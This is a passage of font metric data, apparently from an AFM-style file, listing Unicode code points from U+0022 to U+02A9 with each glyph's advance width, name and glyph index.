U 34 ; WX 521 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 696 ; N dollar ; G 7
U 37 ; WX 1002 ; N percent ; G 8
U 38 ; WX 872 ; N ampersand ; G 9
U 39 ; WX 306 ; N quotesingle ; G 10
U 40 ; WX 457 ; N parenleft ; G 11
U 41 ; WX 457 ; N parenright ; G 12
U 42 ; WX 523 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 380 ; N comma ; G 15
U 45 ; WX 415 ; N hyphen ; G 16
U 46 ; WX 380 ; N period ; G 17
U 47 ; WX 365 ; N slash ; G 18
U 48 ; WX 696 ; N zero ; G 19
U 49 ; WX 696 ; N one ; G 20
U 50 ; WX 696 ; N two ; G 21
U 51 ; WX 696 ; N three ; G 22
U 52 ; WX 696 ; N four ; G 23
U 53 ; WX 696 ; N five ; G 24
U 54 ; WX 696 ; N six ; G 25
U 55 ; WX 696 ; N seven ; G 26
U 56 ; WX 696 ; N eight ; G 27
U 57 ; WX 696 ; N nine ; G 28
U 58 ; WX 400 ; N colon ; G 29
U 59 ; WX 400 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 580 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 774 ; N A ; G 36
U 66 ; WX 762 ; N B ; G 37
U 67 ; WX 734 ; N C ; G 38
U 68 ; WX 830 ; N D ; G 39
U 69 ; WX 683 ; N E ; G 40
U 70 ; WX 683 ; N F ; G 41
U 71 ; WX 821 ; N G ; G 42
U 72 ; WX 837 ; N H ; G 43
U 73 ; WX 372 ; N I ; G 44
U 74 ; WX 372 ; N J ; G 45
U 75 ; WX 775 ; N K ; G 46
U 76 ; WX 637 ; N L ; G 47
U 77 ; WX 995 ; N M ; G 48
U 78 ; WX 837 ; N N ; G 49
U 79 ; WX 850 ; N O ; G 50
U 80 ; WX 733 ; N P ; G 51
U 81 ; WX 850 ; N Q ; G 52
U 82 ; WX 770 ; N R ; G 53
U 83 ; WX 720 ; N S ; G 54
U 84 ; WX 682 ; N T ; G 55
U 85 ; WX 812 ; N U ; G 56
U 86 ; WX 774 ; N V ; G 57
U 87 ; WX 1103 ; N W ; G 58
U 88 ; WX 771 ; N X ; G 59
U 89 ; WX 724 ; N Y ; G 60
U 90 ; WX 725 ; N Z ; G 61
U 91 ; WX 457 ; N bracketleft ; G 62
U 92 ; WX 365 ; N backslash ; G 63
U 93 ; WX 457 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 675 ; N a ; G 68
U 98 ; WX 716 ; N b ; G 69
U 99 ; WX 593 ; N c ; G 70
U 100 ; WX 716 ; N d ; G 71
U 101 ; WX 678 ; N e ; G 72
U 102 ; WX 435 ; N f ; G 73
U 103 ; WX 716 ; N g ; G 74
U 104 ; WX 712 ; N h ; G 75
U 105 ; WX 343 ; N i ; G 76
U 106 ; WX 343 ; N j ; G 77
U 107 ; WX 665 ; N k ; G 78
U 108 ; WX 343 ; N l ; G 79
U 109 ; WX 1042 ; N m ; G 80
U 110 ; WX 712 ; N n ; G 81
U 111 ; WX 687 ; N o ; G 82
U 112 ; WX 716 ; N p ; G 83
U 113 ; WX 716 ; N q ; G 84
U 114 ; WX 493 ; N r ; G 85
U 115 ; WX 595 ; N s ; G 86
U 116 ; WX 478 ; N t ; G 87
U 117 ; WX 712 ; N u ; G 88
U 118 ; WX 652 ; N v ; G 89
U 119 ; WX 924 ; N w ; G 90
U 120 ; WX 645 ; N x ; G 91
U 121 ; WX 652 ; N y ; G 92
U 122 ; WX 582 ; N z ; G 93
U 123 ; WX 712 ; N braceleft ; G 94
U 124 ; WX 365 ; N bar ; G 95
U 125 ; WX 712 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 348 ; N nbspace ; G 98
U 161 ; WX 456 ; N exclamdown ; G 99
U 162 ; WX 696 ; N cent ; G 100
U 163 ; WX 696 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 696 ; N yen ; G 103
U 166 ; WX 365 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 564 ; N ordfeminine ; G 108
U 171 ; WX 646 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 415 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 438 ; N twosuperior ; G 116
U 179 ; WX 438 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 736 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 380 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 438 ; N onesuperior ; G 123
U 186 ; WX 564 ; N ordmasculine ; G 124
U 187 ; WX 646 ; N guillemotright ; G 125
U 188 ; WX 1035 ; N onequarter ; G 126
U 189 ; WX 1035 ; N onehalf ; G 127
U 190 ; WX 1035 ; N threequarters ; G 128
U 191 ; WX 580 ; N questiondown ; G 129
U 192 ; WX 774 ; N Agrave ; G 130
U 193 ; WX 774 ; N Aacute ; G 131
U 194 ; WX 774 ; N Acircumflex ; G 132
U 195 ; WX 774 ; N Atilde ; G 133
U 196 ; WX 774 ; N Adieresis ; G 134
U 197 ; WX 774 ; N Aring ; G 135
U 198 ; WX 1085 ; N AE ; G 136
U 199 ; WX 734 ; N Ccedilla ; G 137
U 200 ; WX 683 ; N Egrave ; G 138
U 201 ; WX 683 ; N Eacute ; G 139
U 202 ; WX 683 ; N Ecircumflex ; G 140
U 203 ; WX 683 ; N Edieresis ; G 141
U 204 ; WX 372 ; N Igrave ; G 142
U 205 ; WX 372 ; N Iacute ; G 143
U 206 ; WX 372 ; N Icircumflex ; G 144
U 207 ; WX 372 ; N Idieresis ; G 145
U 208 ; WX 838 ; N Eth ; G 146
U 209 ; WX 837 ; N Ntilde ; G 147
U 210 ; WX 850 ; N Ograve ; G 148
U 211 ; WX 850 ; N Oacute ; G 149
U 212 ; WX 850 ; N Ocircumflex ; G 150
U 213 ; WX 850 ; N Otilde ; G 151
U 214 ; WX 850 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 850 ; N Oslash ; G 154
U 217 ; WX 812 ; N Ugrave ; G 155
U 218 ; WX 812 ; N Uacute ; G 156
U 219 ; WX 812 ; N Ucircumflex ; G 157
U 220 ; WX 812 ; N Udieresis ; G 158
U 221 ; WX 724 ; N Yacute ; G 159
U 222 ; WX 738 ; N Thorn ; G 160
U 223 ; WX 719 ; N germandbls ; G 161
U 224 ; WX 675 ; N agrave ; G 162
U 225 ; WX 675 ; N aacute ; G 163
U 226 ; WX 675 ; N acircumflex ; G 164
U 227 ; WX 675 ; N atilde ; G 165
U 228 ; WX 675 ; N adieresis ; G 166
U 229 ; WX 675 ; N aring ; G 167
U 230 ; WX 1048 ; N ae ; G 168
U 231 ; WX 593 ; N ccedilla ; G 169
U 232 ; WX 678 ; N egrave ; G 170
U 233 ; WX 678 ; N eacute ; G 171
U 234 ; WX 678 ; N ecircumflex ; G 172
U 235 ; WX 678 ; N edieresis ; G 173
U 236 ; WX 343 ; N igrave ; G 174
U 237 ; WX 343 ; N iacute ; G 175
U 238 ; WX 343 ; N icircumflex ; G 176
U 239 ; WX 343 ; N idieresis ; G 177
U 240 ; WX 687 ; N eth ; G 178
U 241 ; WX 712 ; N ntilde ; G 179
U 242 ; WX 687 ; N ograve ; G 180
U 243 ; WX 687 ; N oacute ; G 181
U 244 ; WX 687 ; N ocircumflex ; G 182
U 245 ; WX 687 ; N otilde ; G 183
U 246 ; WX 687 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 687 ; N oslash ; G 186
U 249 ; WX 712 ; N ugrave ; G 187
U 250 ; WX 712 ; N uacute ; G 188
U 251 ; WX 712 ; N ucircumflex ; G 189
U 252 ; WX 712 ; N udieresis ; G 190
U 253 ; WX 652 ; N yacute ; G 191
U 254 ; WX 716 ; N thorn ; G 192
U 255 ; WX 652 ; N ydieresis ; G 193
U 256 ; WX 774 ; N Amacron ; G 194
U 257 ; WX 675 ; N amacron ; G 195
U 258 ; WX 774 ; N Abreve ; G 196
U 259 ; WX 675 ; N abreve ; G 197
U 260 ; WX 774 ; N Aogonek ; G 198
U 261 ; WX 675 ; N aogonek ; G 199
U 262 ; WX 734 ; N Cacute ; G 200
U 263 ; WX 593 ; N cacute ; G 201
U 264 ; WX 734 ; N Ccircumflex ; G 202
U 265 ; WX 593 ; N ccircumflex ; G 203
U 266 ; WX 734 ; N Cdotaccent ; G 204
U 267 ; WX 593 ; N cdotaccent ; G 205
U 268 ; WX 734 ; N Ccaron ; G 206
U 269 ; WX 593 ; N ccaron ; G 207
U 270 ; WX 830 ; N Dcaron ; G 208
U 271 ; WX 716 ; N dcaron ; G 209
U 272 ; WX 838 ; N Dcroat ; G 210
U 273 ; WX 716 ; N dmacron ; G 211
U 274 ; WX 683 ; N Emacron ; G 212
U 275 ; WX 678 ; N emacron ; G 213
U 276 ; WX 683 ; N Ebreve ; G 214
U 277 ; WX 678 ; N ebreve ; G 215
U 278 ; WX 683 ; N Edotaccent ; G 216
U 279 ; WX 678 ; N edotaccent ; G 217
U 280 ; WX 683 ; N Eogonek ; G 218
U 281 ; WX 678 ; N eogonek ; G 219
U 282 ; WX 683 ; N Ecaron ; G 220
U 283 ; WX 678 ; N ecaron ; G 221
U 284 ; WX 821 ; N Gcircumflex ; G 222
U 285 ; WX 716 ; N gcircumflex ; G 223
U 286 ; WX 821 ; N Gbreve ; G 224
U 287 ; WX 716 ; N gbreve ; G 225
U 288 ; WX 821 ; N Gdotaccent ; G 226
U 289 ; WX 716 ; N gdotaccent ; G 227
U 290 ; WX 821 ; N Gcommaaccent ; G 228
U 291 ; WX 716 ; N gcommaaccent ; G 229
U 292 ; WX 837 ; N Hcircumflex ; G 230
U 293 ; WX 712 ; N hcircumflex ; G 231
U 294 ; WX 974 ; N Hbar ; G 232
U 295 ; WX 790 ; N hbar ; G 233
U 296 ; WX 372 ; N Itilde ; G 234
U 297 ; WX 343 ; N itilde ; G 235
U 298 ; WX 372 ; N Imacron ; G 236
U 299 ; WX 343 ; N imacron ; G 237
U 300 ; WX 372 ; N Ibreve ; G 238
U 301 ; WX 343 ; N ibreve ; G 239
U 302 ; WX 372 ; N Iogonek ; G 240
U 303 ; WX 343 ; N iogonek ; G 241
U 304 ; WX 372 ; N Idot ; G 242
U 305 ; WX 343 ; N dotlessi ; G 243
U 306 ; WX 744 ; N IJ ; G 244
U 307 ; WX 686 ; N ij ; G 245
U 308 ; WX 372 ; N Jcircumflex ; G 246
U 309 ; WX 343 ; N jcircumflex ; G 247
U 310 ; WX 775 ; N Kcommaaccent ; G 248
U 311 ; WX 665 ; N kcommaaccent ; G 249
U 312 ; WX 665 ; N kgreenlandic ; G 250
U 313 ; WX 637 ; N Lacute ; G 251
U 314 ; WX 343 ; N lacute ; G 252
U 315 ; WX 637 ; N Lcommaaccent ; G 253
U 316 ; WX 343 ; N lcommaaccent ; G 254
U 317 ; WX 637 ; N Lcaron ; G 255
U 318 ; WX 479 ; N lcaron ; G 256
U 319 ; WX 637 ; N Ldot ; G 257
U 320 ; WX 557 ; N ldot ; G 258
U 321 ; WX 642 ; N Lslash ; G 259
U 322 ; WX 371 ; N lslash ; G 260
U 323 ; WX 837 ; N Nacute ; G 261
U 324 ; WX 712 ; N nacute ; G 262
U 325 ; WX 837 ; N Ncommaaccent ; G 263
U 326 ; WX 712 ; N ncommaaccent ; G 264
U 327 ; WX 837 ; N Ncaron ; G 265
U 328 ; WX 712 ; N ncaron ; G 266
U 329 ; WX 983 ; N napostrophe ; G 267
U 330 ; WX 837 ; N Eng ; G 268
U 331 ; WX 712 ; N eng ; G 269
U 332 ; WX 850 ; N Omacron ; G 270
U 333 ; WX 687 ; N omacron ; G 271
U 334 ; WX 850 ; N Obreve ; G 272
U 335 ; WX 687 ; N obreve ; G 273
U 336 ; WX 850 ; N Ohungarumlaut ; G 274
U 337 ; WX 687 ; N ohungarumlaut ; G 275
U 338 ; WX 1167 ; N OE ; G 276
U 339 ; WX 1094 ; N oe ; G 277
U 340 ; WX 770 ; N Racute ; G 278
U 341 ; WX 493 ; N racute ; G 279
U 342 ; WX 770 ; N Rcommaaccent ; G 280
U 343 ; WX 493 ; N rcommaaccent ; G 281
U 344 ; WX 770 ; N Rcaron ; G 282
U 345 ; WX 493 ; N rcaron ; G 283
U 346 ; WX 720 ; N Sacute ; G 284
U 347 ; WX 595 ; N sacute ; G 285
U 348 ; WX 720 ; N Scircumflex ; G 286
U 349 ; WX 595 ; N scircumflex ; G 287
U 350 ; WX 720 ; N Scedilla ; G 288
U 351 ; WX 595 ; N scedilla ; G 289
U 352 ; WX 720 ; N Scaron ; G 290
U 353 ; WX 595 ; N scaron ; G 291
U 354 ; WX 682 ; N Tcommaaccent ; G 292
U 355 ; WX 478 ; N tcommaaccent ; G 293
U 356 ; WX 682 ; N Tcaron ; G 294
U 357 ; WX 478 ; N tcaron ; G 295
U 358 ; WX 682 ; N Tbar ; G 296
U 359 ; WX 478 ; N tbar ; G 297
U 360 ; WX 812 ; N Utilde ; G 298
U 361 ; WX 712 ; N utilde ; G 299
U 362 ; WX 812 ; N Umacron ; G 300
U 363 ; WX 712 ; N umacron ; G 301
U 364 ; WX 812 ; N Ubreve ; G 302
U 365 ; WX 712 ; N ubreve ; G 303
U 366 ; WX 812 ; N Uring ; G 304
U 367 ; WX 712 ; N uring ; G 305
U 368 ; WX 812 ; N Uhungarumlaut ; G 306
U 369 ; WX 712 ; N uhungarumlaut ; G 307
U 370 ; WX 812 ; N Uogonek ; G 308
U 371 ; WX 712 ; N uogonek ; G 309
U 372 ; WX 1103 ; N Wcircumflex ; G 310
U 373 ; WX 924 ; N wcircumflex ; G 311
U 374 ; WX 724 ; N Ycircumflex ; G 312
U 375 ; WX 652 ; N ycircumflex ; G 313
U 376 ; WX 724 ; N Ydieresis ; G 314
U 377 ; WX 725 ; N Zacute ; G 315
U 378 ; WX 582 ; N zacute ; G 316
U 379 ; WX 725 ; N Zdotaccent ; G 317
U 380 ; WX 582 ; N zdotaccent ; G 318
U 381 ; WX 725 ; N Zcaron ; G 319
U 382 ; WX 582 ; N zcaron ; G 320
U 383 ; WX 435 ; N longs ; G 321
U 384 ; WX 716 ; N uni0180 ; G 322
U 385 ; WX 811 ; N uni0181 ; G 323
U 386 ; WX 762 ; N uni0182 ; G 324
U 387 ; WX 716 ; N uni0183 ; G 325
U 388 ; WX 762 ; N uni0184 ; G 326
U 389 ; WX 716 ; N uni0185 ; G 327
U 390 ; WX 734 ; N uni0186 ; G 328
U 391 ; WX 734 ; N uni0187 ; G 329
U 392 ; WX 593 ; N uni0188 ; G 330
U 393 ; WX 838 ; N uni0189 ; G 331
U 394 ; WX 879 ; N uni018A ; G 332
U 395 ; WX 757 ; N uni018B ; G 333
U 396 ; WX 716 ; N uni018C ; G 334
U 397 ; WX 688 ; N uni018D ; G 335
U 398 ; WX 683 ; N uni018E ; G 336
U 399 ; WX 849 ; N uni018F ; G 337
U 400 ; WX 696 ; N uni0190 ; G 338
U 401 ; WX 683 ; N uni0191 ; G 339
U 402 ; WX 435 ; N florin ; G 340
U 403 ; WX 821 ; N uni0193 ; G 341
U 404 ; WX 793 ; N uni0194 ; G 342
U 405 ; WX 1045 ; N uni0195 ; G 343
U 406 ; WX 436 ; N uni0196 ; G 344
U 407 ; WX 389 ; N uni0197 ; G 345
U 408 ; WX 775 ; N uni0198 ; G 346
U 409 ; WX 665 ; N uni0199 ; G 347
U 410 ; WX 360 ; N uni019A ; G 348
U 411 ; WX 592 ; N uni019B ; G 349
U 412 ; WX 1042 ; N uni019C ; G 350
U 413 ; WX 837 ; N uni019D ; G 351
U 414 ; WX 712 ; N uni019E ; G 352
U 415 ; WX 850 ; N uni019F ; G 353
U 416 ; WX 874 ; N Ohorn ; G 354
U 417 ; WX 687 ; N ohorn ; G 355
U 418 ; WX 1083 ; N uni01A2 ; G 356
U 419 ; WX 912 ; N uni01A3 ; G 357
U 420 ; WX 782 ; N uni01A4 ; G 358
U 421 ; WX 716 ; N uni01A5 ; G 359
U 422 ; WX 770 ; N uni01A6 ; G 360
U 423 ; WX 720 ; N uni01A7 ; G 361
U 424 ; WX 595 ; N uni01A8 ; G 362
U 425 ; WX 683 ; N uni01A9 ; G 363
U 426 ; WX 552 ; N uni01AA ; G 364
U 427 ; WX 478 ; N uni01AB ; G 365
U 428 ; WX 707 ; N uni01AC ; G 366
U 429 ; WX 478 ; N uni01AD ; G 367
U 430 ; WX 682 ; N uni01AE ; G 368
U 431 ; WX 835 ; N Uhorn ; G 369
U 432 ; WX 712 ; N uhorn ; G 370
U 433 ; WX 850 ; N uni01B1 ; G 371
U 434 ; WX 813 ; N uni01B2 ; G 372
U 435 ; WX 797 ; N uni01B3 ; G 373
U 436 ; WX 778 ; N uni01B4 ; G 374
U 437 ; WX 725 ; N uni01B5 ; G 375
U 438 ; WX 582 ; N uni01B6 ; G 376
U 439 ; WX 772 ; N uni01B7 ; G 377
U 440 ; WX 772 ; N uni01B8 ; G 378
U 441 ; WX 641 ; N uni01B9 ; G 379
U 442 ; WX 582 ; N uni01BA ; G 380
U 443 ; WX 696 ; N uni01BB ; G 381
U 444 ; WX 772 ; N uni01BC ; G 382
U 445 ; WX 641 ; N uni01BD ; G 383
U 446 ; WX 573 ; N uni01BE ; G 384
U 447 ; WX 716 ; N uni01BF ; G 385
U 448 ; WX 372 ; N uni01C0 ; G 386
U 449 ; WX 659 ; N uni01C1 ; G 387
U 450 ; WX 544 ; N uni01C2 ; G 388
U 451 ; WX 372 ; N uni01C3 ; G 389
U 452 ; WX 1555 ; N uni01C4 ; G 390
U 453 ; WX 1412 ; N uni01C5 ; G 391
U 454 ; WX 1298 ; N uni01C6 ; G 392
U 455 ; WX 1009 ; N uni01C7 ; G 393
U 456 ; WX 980 ; N uni01C8 ; G 394
U 457 ; WX 686 ; N uni01C9 ; G 395
U 458 ; WX 1209 ; N uni01CA ; G 396
U 459 ; WX 1180 ; N uni01CB ; G 397
U 460 ; WX 1055 ; N uni01CC ; G 398
U 461 ; WX 774 ; N uni01CD ; G 399
U 462 ; WX 675 ; N uni01CE ; G 400
U 463 ; WX 372 ; N uni01CF ; G 401
U 464 ; WX 343 ; N uni01D0 ; G 402
U 465 ; WX 850 ; N uni01D1 ; G 403
U 466 ; WX 687 ; N uni01D2 ; G 404
U 467 ; WX 812 ; N uni01D3 ; G 405
U 468 ; WX 712 ; N uni01D4 ; G 406
U 469 ; WX 812 ; N uni01D5 ; G 407
U 470 ; WX 712 ; N uni01D6 ; G 408
U 471 ; WX 812 ; N uni01D7 ; G 409
U 472 ; WX 712 ; N uni01D8 ; G 410
U 473 ; WX 812 ; N uni01D9 ; G 411
U 474 ; WX 712 ; N uni01DA ; G 412
U 475 ; WX 812 ; N uni01DB ; G 413
U 476 ; WX 712 ; N uni01DC ; G 414
U 477 ; WX 678 ; N uni01DD ; G 415
U 478 ; WX 774 ; N uni01DE ; G 416
U 479 ; WX 675 ; N uni01DF ; G 417
U 480 ; WX 774 ; N uni01E0 ; G 418
U 481 ; WX 675 ; N uni01E1 ; G 419
U 482 ; WX 1085 ; N uni01E2 ; G 420
U 483 ; WX 1048 ; N uni01E3 ; G 421
U 484 ; WX 821 ; N uni01E4 ; G 422
U 485 ; WX 716 ; N uni01E5 ; G 423
U 486 ; WX 821 ; N Gcaron ; G 424
U 487 ; WX 716 ; N gcaron ; G 425
U 488 ; WX 775 ; N uni01E8 ; G 426
U 489 ; WX 665 ; N uni01E9 ; G 427
U 490 ; WX 850 ; N uni01EA ; G 428
U 491 ; WX 687 ; N uni01EB ; G 429
U 492 ; WX 850 ; N uni01EC ; G 430
U 493 ; WX 687 ; N uni01ED ; G 431
U 494 ; WX 772 ; N uni01EE ; G 432
U 495 ; WX 582 ; N uni01EF ; G 433
U 496 ; WX 343 ; N uni01F0 ; G 434
U 497 ; WX 1555 ; N uni01F1 ; G 435
U 498 ; WX 1412 ; N uni01F2 ; G 436
U 499 ; WX 1298 ; N uni01F3 ; G 437
U 500 ; WX 821 ; N uni01F4 ; G 438
U 501 ; WX 716 ; N uni01F5 ; G 439
U 502 ; WX 1289 ; N uni01F6 ; G 440
U 503 ; WX 787 ; N uni01F7 ; G 441
U 504 ; WX 837 ; N uni01F8 ; G 442
U 505 ; WX 712 ; N uni01F9 ; G 443
U 506 ; WX 774 ; N Aringacute ; G 444
U 507 ; WX 675 ; N aringacute ; G 445
U 508 ; WX 1085 ; N AEacute ; G 446
U 509 ; WX 1048 ; N aeacute ; G 447
U 510 ; WX 850 ; N Oslashacute ; G 448
U 511 ; WX 687 ; N oslashacute ; G 449
U 512 ; WX 774 ; N uni0200 ; G 450
U 513 ; WX 675 ; N uni0201 ; G 451
U 514 ; WX 774 ; N uni0202 ; G 452
U 515 ; WX 675 ; N uni0203 ; G 453
U 516 ; WX 683 ; N uni0204 ; G 454
U 517 ; WX 678 ; N uni0205 ; G 455
U 518 ; WX 683 ; N uni0206 ; G 456
U 519 ; WX 678 ; N uni0207 ; G 457
U 520 ; WX 372 ; N uni0208 ; G 458
U 521 ; WX 343 ; N uni0209 ; G 459
U 522 ; WX 372 ; N uni020A ; G 460
U 523 ; WX 343 ; N uni020B ; G 461
U 524 ; WX 850 ; N uni020C ; G 462
U 525 ; WX 687 ; N uni020D ; G 463
U 526 ; WX 850 ; N uni020E ; G 464
U 527 ; WX 687 ; N uni020F ; G 465
U 528 ; WX 770 ; N uni0210 ; G 466
U 529 ; WX 493 ; N uni0211 ; G 467
U 530 ; WX 770 ; N uni0212 ; G 468
U 531 ; WX 493 ; N uni0213 ; G 469
U 532 ; WX 812 ; N uni0214 ; G 470
U 533 ; WX 712 ; N uni0215 ; G 471
U 534 ; WX 812 ; N uni0216 ; G 472
U 535 ; WX 712 ; N uni0217 ; G 473
U 536 ; WX 720 ; N Scommaaccent ; G 474
U 537 ; WX 595 ; N scommaaccent ; G 475
U 538 ; WX 682 ; N uni021A ; G 476
U 539 ; WX 478 ; N uni021B ; G 477
U 540 ; WX 690 ; N uni021C ; G 478
U 541 ; WX 607 ; N uni021D ; G 479
U 542 ; WX 837 ; N uni021E ; G 480
U 543 ; WX 712 ; N uni021F ; G 481
U 544 ; WX 837 ; N uni0220 ; G 482
U 545 ; WX 865 ; N uni0221 ; G 483
U 546 ; WX 809 ; N uni0222 ; G 484
U 547 ; WX 659 ; N uni0223 ; G 485
U 548 ; WX 725 ; N uni0224 ; G 486
U 549 ; WX 582 ; N uni0225 ; G 487
U 550 ; WX 774 ; N uni0226 ; G 488
U 551 ; WX 675 ; N uni0227 ; G 489
U 552 ; WX 683 ; N uni0228 ; G 490
U 553 ; WX 678 ; N uni0229 ; G 491
U 554 ; WX 850 ; N uni022A ; G 492
U 555 ; WX 687 ; N uni022B ; G 493
U 556 ; WX 850 ; N uni022C ; G 494
U 557 ; WX 687 ; N uni022D ; G 495
U 558 ; WX 850 ; N uni022E ; G 496
U 559 ; WX 687 ; N uni022F ; G 497
U 560 ; WX 850 ; N uni0230 ; G 498
U 561 ; WX 687 ; N uni0231 ; G 499
U 562 ; WX 724 ; N uni0232 ; G 500
U 563 ; WX 652 ; N uni0233 ; G 501
U 564 ; WX 492 ; N uni0234 ; G 502
U 565 ; WX 867 ; N uni0235 ; G 503
U 566 ; WX 512 ; N uni0236 ; G 504
U 567 ; WX 343 ; N dotlessj ; G 505
U 568 ; WX 1088 ; N uni0238 ; G 506
U 569 ; WX 1088 ; N uni0239 ; G 507
U 570 ; WX 774 ; N uni023A ; G 508
U 571 ; WX 734 ; N uni023B ; G 509
U 572 ; WX 593 ; N uni023C ; G 510
U 573 ; WX 637 ; N uni023D ; G 511
U 574 ; WX 682 ; N uni023E ; G 512
U 575 ; WX 595 ; N uni023F ; G 513
U 576 ; WX 582 ; N uni0240 ; G 514
U 577 ; WX 782 ; N uni0241 ; G 515
U 578 ; WX 614 ; N uni0242 ; G 516
U 579 ; WX 762 ; N uni0243 ; G 517
U 580 ; WX 812 ; N uni0244 ; G 518
U 581 ; WX 774 ; N uni0245 ; G 519
U 582 ; WX 683 ; N uni0246 ; G 520
U 583 ; WX 678 ; N uni0247 ; G 521
U 584 ; WX 372 ; N uni0248 ; G 522
U 585 ; WX 343 ; N uni0249 ; G 523
U 586 ; WX 860 ; N uni024A ; G 524
U 587 ; WX 791 ; N uni024B ; G 525
U 588 ; WX 770 ; N uni024C ; G 526
U 589 ; WX 493 ; N uni024D ; G 527
U 590 ; WX 724 ; N uni024E ; G 528
U 591 ; WX 652 ; N uni024F ; G 529
U 592 ; WX 675 ; N uni0250 ; G 530
U 593 ; WX 716 ; N uni0251 ; G 531
U 594 ; WX 716 ; N uni0252 ; G 532
U 595 ; WX 716 ; N uni0253 ; G 533
U 596 ; WX 593 ; N uni0254 ; G 534
U 597 ; WX 593 ; N uni0255 ; G 535
U 598 ; WX 717 ; N uni0256 ; G 536
U 599 ; WX 792 ; N uni0257 ; G 537
U 600 ; WX 678 ; N uni0258 ; G 538
U 601 ; WX 678 ; N uni0259 ; G 539
U 602 ; WX 876 ; N uni025A ; G 540
U 603 ; WX 557 ; N uni025B ; G 541
U 604 ; WX 545 ; N uni025C ; G 542
U 605 ; WX 815 ; N uni025D ; G 543
U 606 ; WX 731 ; N uni025E ; G 544
U 607 ; WX 343 ; N uni025F ; G 545
U 608 ; WX 792 ; N uni0260 ; G 546
U 609 ; WX 716 ; N uni0261 ; G 547
U 610 ; WX 627 ; N uni0262 ; G 548
U 611 ; WX 644 ; N uni0263 ; G 549
U 612 ; WX 635 ; N uni0264 ; G 550
U 613 ; WX 712 ; N uni0265 ; G 551
U 614 ; WX 712 ; N uni0266 ; G 552
U 615 ; WX 712 ; N uni0267 ; G 553
U 616 ; WX 545 ; N uni0268 ; G 554
U 617 ; WX 440 ; N uni0269 ; G 555
U 618 ; WX 545 ; N uni026A ; G 556
U 619 ; WX 559 ; N uni026B ; G 557
U 620 ; WX 693 ; N uni026C ; G 558
U 621 ; WX 343 ; N uni026D ; G 559
U 622 ; WX 841 ; N uni026E ; G 560
U 623 ; WX 1042 ; N uni026F ; G 561
U 624 ; WX 1042 ; N uni0270 ; G 562
U 625 ; WX 1042 ; N uni0271 ; G 563
U 626 ; WX 712 ; N uni0272 ; G 564
U 627 ; WX 793 ; N uni0273 ; G 565
U 628 ; WX 707 ; N uni0274 ; G 566
U 629 ; WX 687 ; N uni0275 ; G 567
U 630 ; WX 909 ; N uni0276 ; G 568
U 631 ; WX 681 ; N uni0277 ; G 569
U 632 ; WX 796 ; N uni0278 ; G 570
U 633 ; WX 538 ; N uni0279 ; G 571
U 634 ; WX 538 ; N uni027A ; G 572
U 635 ; WX 650 ; N uni027B ; G 573
U 636 ; WX 493 ; N uni027C ; G 574
U 637 ; WX 493 ; N uni027D ; G 575
U 638 ; WX 596 ; N uni027E ; G 576
U 639 ; WX 596 ; N uni027F ; G 577
U 640 ; WX 642 ; N uni0280 ; G 578
U 641 ; WX 642 ; N uni0281 ; G 579
U 642 ; WX 595 ; N uni0282 ; G 580
U 643 ; WX 415 ; N uni0283 ; G 581
U 644 ; WX 435 ; N uni0284 ; G 582
U 645 ; WX 605 ; N uni0285 ; G 583
U 646 ; WX 552 ; N uni0286 ; G 584
U 647 ; WX 478 ; N uni0287 ; G 585
U 648 ; WX 478 ; N uni0288 ; G 586
U 649 ; WX 920 ; N uni0289 ; G 587
U 650 ; WX 772 ; N uni028A ; G 588
U 651 ; WX 670 ; N uni028B ; G 589
U 652 ; WX 652 ; N uni028C ; G 590
U 653 ; WX 924 ; N uni028D ; G 591
U 654 ; WX 652 ; N uni028E ; G 592
U 655 ; WX 724 ; N uni028F ; G 593
U 656 ; WX 694 ; N uni0290 ; G 594
U 657 ; WX 684 ; N uni0291 ; G 595
U 658 ; WX 641 ; N uni0292 ; G 596
U 659 ; WX 641 ; N uni0293 ; G 597
U 660 ; WX 573 ; N uni0294 ; G 598
U 661 ; WX 573 ; N uni0295 ; G 599
U 662 ; WX 573 ; N uni0296 ; G 600
U 663 ; WX 573 ; N uni0297 ; G 601
U 664 ; WX 850 ; N uni0298 ; G 602
U 665 ; WX 633 ; N uni0299 ; G 603
U 666 ; WX 731 ; N uni029A ; G 604
U 667 ; WX 685 ; N uni029B ; G 605
U 668 ; WX 691 ; N uni029C ; G 606
U 669 ; WX 343 ; N uni029D ; G 607
U 670 ; WX 732 ; N uni029E ; G 608
U 671 ; WX 539 ; N uni029F ; G 609
U 672 ; WX 792 ; N uni02A0 ; G 610
U 673 ; WX 573 ; N uni02A1 ; G 611
U 674 ; WX 573 ; N uni02A2 ; G 612
U 675 ; WX 1156 ; N uni02A3 ; G 613
U 676 ; WX 1214 ; N uni02A4 ; G 614
U 677 ; WX 1155 ; N uni02A5 ; G 615
U 678 ; WX 975 ; N uni02A6 ; G 616
U 679 ; WX 769 ; N uni02A7 ; G 617
U 680 ; WX 929 ; N uni02A8 ; G 618
U 681 ; WX 1026 ; N uni02A9 ; G 619
